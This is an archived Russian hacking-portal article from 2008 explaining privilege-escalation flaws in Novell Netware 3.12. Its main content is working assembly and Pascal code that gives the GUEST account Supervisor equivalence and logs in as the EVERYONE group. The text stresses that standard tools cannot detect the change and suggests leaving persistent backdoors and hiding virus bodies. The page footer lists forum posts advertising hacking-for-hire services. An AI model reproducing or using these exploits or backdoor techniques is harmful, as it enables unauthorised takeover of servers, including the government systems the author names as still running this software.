CASINOJOY - Ставка На Успех! Проверь Свою Удачу!


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Позабытое новое про уязвимости старой Netware
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Поиск ТОП Добавить публикацию

Позабытое новое про уязвимости старой Netware

07.11.2008

Обращаем внимание, что данная публикация взята из архива.
Возможно, что информация, изложенная здесь, частично устарела

Интерлюдия

Решил вот опубликовать собственные изыскания про Novell Netware, которые от скуки и интереса проводились мной годика четыре назад.

Это, конечно, все неактуально, но 3.12 все же еще кое-где стоит, и в том числе в госучереждениях.
Надеюсь, оригинальностью способов и тем, что подобных дыр в старушке 3.12 (а может, кое-что подобное возможно и в 5.0 !) еще вроде никто не находил, написанное даст новое направление в поисках уязвимостей в более современных операционных системах. Еще приведу примеры, как, используя эти уязвимости, можно создавать надежные и монументальные дыры в системе "на будущее". Заранее прошу прощение за корявость языка и неправильные термины.

Теория

Буду предельно краток Напомню, что объекты, свойства и их значения в Netware 3.12 хранятся в единой базе, называемой bindery.

Рассмотрим что есть у объекта:

Уникальный ID объекта (object ID) - 4 байта, присваемый операционкой при создании, по которому и производятся все "правовые расчеты" (к примеру 00 00 00 01 - стандарт ID Supervisor'a в 3.12 )

Флаг объекта (object Flag) - 1 байт - к примеру, можно указать статический 00х или динамический 01х- останется ли объект в bindery, пока его не удалят или же исчезнет после перезагрузки.

Флаг доступа к объекту (object Security) - 1 байт - кто и что может делать с объектом, старший полубайт по чтению, младший по записи
0 - доступ имеют все, в том числе и незарегистрированные пользователи (!)
1 - доступ имеют зарегистрировавшиеся пользователи
2 - доступ может осуществить сам объект над собой
3 - доступ могут иметь только те, кто приходиться этому пользователю супервизором или кто сам супервизор
4 - доступ может осуществить только сам сервер.

Тип объекта (object Type) - 2 байта (от него зависит чем объект и будет - 01 пользователь, 02 группа, 04 сервер и т. д.)

Имя объекта - 48 байт ( к примеру Supervisor )

Про объект все ясно, теперь про свойства

Все имена "рабочих" свойств, т. е., те которые важны - стандартны, приведу лишь несколько значимых из них (максимальный размер имени свойства 16 байт)
IDENTIFICATION - в значение этого то свойства наши любимые админы и заносят дополнительную информацию о родных пользователях
OBJ_SUPERVISORS - в значении этого свойства заноситься информация, кто является супервизором этого объекта, в утилите SYSCON это вроде называлось Менеджерами
SEQURITY_EQUALS - а тут размещается мечта любого хакера - занесенный в значение этого свойства будет иметь эквивалент занесенного объекта, а следовательно и все его права
PASSWORD - ну, естественно в значении этого свойства храниться зашифрованный пароль, а поскольку свойство имеет флаг доступа 34 или 24, то есть писать (изменять) значение могут только супервизоры или сам пользователь, а вот читать значение может только сервер, то это свойство представляет чисто академический интерес.

Свойства имеют схожие два флага, что и объекты, а именно
Флаг доступа к свойству (property Security) - аналогично флагу доступа к объекту
Флаг свойства (property Flag) -
а вот теперь внимание!
Тут то и самое важное - прибавляется еще 2 значения.

Значение свойства может быть двух типов - либо типа строки (128 байтов), либо в виде матрицы 4*32, в матрицу то и заносятся ID объектов, что очень удобно.

Итак - 00 строка, 02 матрица.

Посмотрим чуть повыше - на имена свойств, и что означают их значения - PASSWORD и IDENTIFICATION будет иметь тип строки, а вот значения SECURITY_EQUALS и OBJ_SUPERVISORS тип матрицы, и соответственно для их обработки предусмотрены различные функции. В значения свойств матричного типа заносятся ID других объектов, что и является установкой правовых отношений между объектами.

Теперь переходим к значению свойств - как говорилось, они могут быть либо строчного, либо матричного типа. Длина в обоих случаях одного сегмента 128 байт, всего сегментов может быть 254 (если к примеру пользователь будет входить в 67 групп, то ID этих групп будут вписаны в значение соответствующего свойства матричного типа в 2 сегмента - 64 в один, остальное в другой).

Теперь на счет того, как используются знания на практике - берем в руки справочник по функциям Novell Netware (сам брал где-то в интернете, но недавно видел и на Hackzone), любой язык программирования и пишем... Учитывая кучу недокументированных (вернее не реализованных в поставляемой с тварью ПО) возможностей Novell Netware, уверен, у Вас получатся вполне конкурентоспособные программы.

Как из менеджера стать супервизором

Вот тут то и начинается самое веселое - оказывается Novell Netware абсолютно все равно, какого типа значения свойств - строчные или матричные, отличаются лишь методы обработки для конечного пользователя. Она оба типа воспринимает как строчные. И что дальше?

Дальше простой пример

К примеру, ваш администратор любезно предоставил вам право администрировать какого-то пользователя или целую группу пользователей (или же вы имеете пароли к подобного рода привилегированным), то получить эквивалент администратора очень просто.

Если вы имеете подобные права, то у пользователей, которых вы администрируете, в значениях свойств OBJ_SUPERVISORS прописан ваш ID. С помощью утилиты SYSCON возможности администрирования наверняка будут ограниченны - лишь поменять пароль или ограничить время вхождения. А вот с использованием функций вы можете творить все, что вам заблагорассудиться - удалять, создавать свойства, менять их значения. Теперь попробуем присвоить пользователю, которого мы администрируем эквивалент SUPERVISOR'a, естественно, что ничего не выйдет, так как свойство SECURITY_EQUALS имеет матричный тип и обрабатывается по методу, за которым следит Novell Netware и не позволяет присвоить эквивалент одного объекта другому, если нет администраторских прав над обоими. Но вот удалить это свойство и создать то же свойство со строковым типом, нам ничто не мешает, и записать туда 00 00 00 01 (ID супервизора в 3.12 ) тоже ничто не мешает, так как операционная система строковые типы воспринимает не более как описательные и позволяет делать с ними все, что захотите. Другое дело, если ей сказано самими создателями, что в SECURITY_EQUALS должны лежать ID, которые она обязана воспринимать как надо.

Текст подобной программы, делающей из Гостя Супервизора на ассемблере :

.286
code segment
assume cs:code,ds:code,ES:CODE
ORG 100H
start:
mov ah,0e3h
mov si,offset buffer1
mov di,offset answer
int 21h
mov ah,0e3h
mov si,offset buffer2
mov di,offset answer
int 21h
MOV AH,0e3h
mov si,offset buffer3
mov di,offset answer
int 21h
MOV AH,4CH
INT 21H

buffer1 dw 25
db 3AH,00,01,5,'GUEST',15,'SECURITY_EQUALS'

;*** первые два байта - размер всего буффера, третий байт функция - ;удалить свойство, пятый-шестой - тип объекта (01- пользователь), далее ;размер и имя пользователя, далее размер и имя удаляемого свойства.
buffer2 dw 27
db 39h,00,01,5,'GUEST',00,00,15,'SECURITY_EQUALS'
;*** создаем свойство с типом 00 - строка

buffer3 dw 31
db 3eh,00,01,5,'GUEST',01,00,15,'SECURITY_EQUALS',00,00,00,01
;*** записываем в значение свойства ИД суперизора

answer db 64 dup (?)
CODE ENDS
END START

Как входить под группой с правами супервизора на сервер

Не следует забывать, что группа - тот же объект, подчиняется всем его законам и лишь жесткая установка создателей на уровне распределения прав доступа несколько ограничивает (и наоборот, предоставляет новые возможности)...

А чем группа не пользователь? Правильно, ничем, пока у нее нет свойства PASSWORD. И при правах администрирования этой группы ничего не мешает вам это свойство создать. Создаем и входим. (К сожалению, мне удалось войти только под группой EVERYONE, настораживающие особенности).

MOV AH,0e3h
mov si,offset buffer
mov di,offset answer
int 21h
MOV AH,4CH
INT 21H
buffer dw 23
db 39h,00,02,8,'EVERYONE',00,00,8,'PASSWORD'

answer db 64 dup (?)

Не забываем в пятом байте буфера указать тип объекта - группа - 02

А также входим не с помощью login.exe, которая всех воспринимает как пользователей - 01, а пишем свою программку, где указано, что входим именно под группой - 02. Вот эта программка на паскале, библиотечку с функцией я скачивал где-то в интернете

uses Crt,Screen,Nwconn;
var buffer,answer,j,p,o,q,w:string;
r,t,y,error: byte;
a,s,d,f : word;
z,x,c,v,b : real;
begin
q:='';
w:='EVERYONE';
A:=2
;
LOGINENCRTOFILESERVER(W,A,Q);

READKEY;
end.

Кроме инфаркта у администратора от вида такого необычного пользователя в сети, можно добиться большего, создав группе свойство SECURITY_EQUALS строчного типа и записав туда эквивалент супервизора - аналогично предыдущему примеру, только стирать ничего не надо.

Кстати, в эмуляции Новела под Unix заход под группой - дело совсем обычное, там даже создавать свойство PASSWORD не надо, так как эмулятор тем более не делает различия между группой и пользователем ,надо просто используете представленную паскалевскую программу.

Невидимка в сети или назови сервера в честь своей тещи.

Тут уже о шутках, можно создать кучу серверов огромной численностью, назвав их как заблагорассудиться. Можно повесить в сети сервера на постоянный срок или же до перезагрузки, все зависит от того, какой флаг создаваемым объектам с типом 04- сервер вы присвоите. Поскольку в сети имена будут видны, но адреса этих серверов нет, то обнаружить на каком именно реальном сервере данные объекты созданы проблематично. Данный пример приведен лишь затем, что бы показать, на сколько гибко можно управлять с помощью функций и сколько возможностей не учтено в 3.12.

Рассуждения о иных возможностях

Прежде чем об иных, несколько слов о предыдущих

Обнаружить создание эквивалента невозможно стандартными средствами, SYSCON будет выдавать ошибку при попытке посмотреть эквивалент у пользователя, а программы, предназначенные для проверки безопасности глухо виснут, поскольку запрограммированы жестко на метод обращения к матричным типом.

Группу выдает появление статуса о последней регистрации, что согласитесь для группы нетипично.

Теперь о остальных возможностях

Подумаем о куче места в значениях свойств - целых 254*128 байт, чем не оригинальное и секретное место хранения? Записать туда что угодно можно - вплоть до тела вируса...

Подумаем о флаге доступа к объекту и свойствам и параметры доступа, особенно с правами 00 и 22, и что можно в комбинации с ними делать.

Подумаем и о то, что можно назначать администратора "сам над собой"...

При копировании материалов ссылка на HackZone.RU обязательна

Добавить страницу в закладки

 Детали
Категория: Архив
Опубликовал: RenGO
Просмотров: 11579
Проголосовало через SMS: 0
Ключевые слова: netware, (найти похожие документы)
  Разместить у себя на сайте
Прямая ссылка
HTML
BBCode ссылка
BBCode ссылка с текстом

 Комментарии (оставить свой комментарий можно здесь)
Только зарегистрированные пользователи могут оставлять комментарии

Зарегистрироваться *** Авторизоваться


 Последние новости и статьи  Последние сообщения с форумов
  • WhatsApp уверяет пользователей, что Facebook не имеет доступа к и...
  • Однострочная команда в Windows 10 может повредить жесткий диск с ...
  • Кардерский форум Joker’s Stash объявил о закрытии
  • Релиз ядра Linux 5.9
  • Российские хакеры вооружились уязвимостью Zerologon
  • Тысячи приватных звонков американских заключенных оказались в отк...
  • Шифровальщик атаковал немецкую компанию Software AG
  • Злоумышленники используют службу Windows Error Reporting для бесф...
  • Microsoft предупредила о вымогателях, которые выдают себя за МВД ...
  • Инфостилер Valak ворует информацию из почтовых систем Microsoft E...

    Все новости... Все статьи... Прислать новость RSS
  • Mobile / Средства связи » Взлом вашей второй Половинки - lightning.hacking@gmail.com
  • Разное / Куплю, приму в дар » Покупка аккаунтов Uphold
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Разное / Предложения работы » Re: Нужен Взлом сайта на DLE
  • Взлом и безопасность / Разное » Взлом вашей второй Половинки - lightning.hacking@gmail.com
  • Взлом и безопасность / Новичкам » Re: Помогите взломать gmail.com
  • Разное / Предложения работы » Re: Зайти на сайт из под Администратора + публикация статьи
  • Взлом и безопасность / WEB сайтов » Брутс для 2fa биржи

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}